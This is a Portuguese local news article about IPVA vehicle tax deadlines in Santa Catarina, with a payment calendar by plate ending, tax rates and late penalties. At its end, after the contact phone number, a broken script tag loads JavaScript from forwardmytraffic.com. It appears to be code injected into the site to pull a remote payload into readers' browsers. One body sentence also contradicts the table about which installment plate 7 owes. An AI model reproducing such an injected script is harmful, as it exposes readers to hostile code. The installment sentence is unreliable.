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IPVA para placas 5, 6 e 7 vence dia 10 de julho

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Proprietários de veículos com placa final 7 que quiserem pagar o imposto em três vezes sem juros, devem efetuar o pagamento da primeira parcela até terça-feira, 10. As demais parcelas têm vencimento no dia 10 dos meses seguintes, nesse caso, agosto e setembro. O prazo para pagamento em cota única é 31 de julho. Dia 10 deste mês também vencem a segunda parcela do IPVA de veículos com placa final 6 e terceira parcela para final 7.

 

Os vencimentos dependem do final da placa do veículo, mas os contribuintes podem antecipar o pagamento a qualquer momento. A guia de pagamento, taxas, multas e seguro DPVAT podem ser emitidos na internet e paga nas agências bancárias conveniadas: Banco do Brasil, Bradesco, Itaú, Santander, Caixa Econômica Federal, Sistema Bancoob/Sicoob, HSBC, Sicredi e Cecred.

 

A quitação é um dos requisitos para licenciar o veículo. O não pagamento também implica em Notificação Fiscal, com multa de 50% do valor devido, mais juros SELIC ao mês ou fração. Para saber qual o valor do IPVA do seu carro, acesse a tabela disponível no site da Secretaria da

Fazenda, clicando aqui.

Para pagar, clique aqui.

CALENDÁRIO DE PAGAMENTO

FINAL DE PLACA COTA ÚNICA PARCELAMENTO-COTAS
     1ª      2ª     3ª
1 último dia do mês de janeiro 10.01 10.02 10.03
2 último dia do mês de fevereiro 10.02 10.03 10.04
3 último dia do mês de março 10.03 10.04 10.05
4 último dia do mês de abril 10.04 10.05 10.06
5 último dia do mês de maio 10.05 10.06 10.07
6 último dia do mês de junho 10.06 10.07 10.08
7 último dia do mês de julho 10.07 10.08 10.09
8 último dia do mês de agosto 10.08 10.09 10.10
9 último dia do mês de setembro 10.09 10.10 10.11
0 último dia do mês de outubro 10.10 10.11 10.12

IPVA SC – Alíquotas vigentes

 

  • 2% para veículos de passeio, utilitários e motor-casa, nacionais ou estrangeiros;
  • 1% para veículos de duas ou três rodas e os de transporte de carga ou passageiros (coletivos), nacionais ou estrangeiros;
  • 1% para veículos destinados à locação, de propriedade de locadoras de veículos ou por elas arrendados mediante contrato de arrendamento mercantil.

Caso tenha dúvidas, entre em contato com a Central de Atendimento Fazendária neste linkou pelo telefone 0300-645-1515…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>

Equipe A Gazeta Tresbarrense
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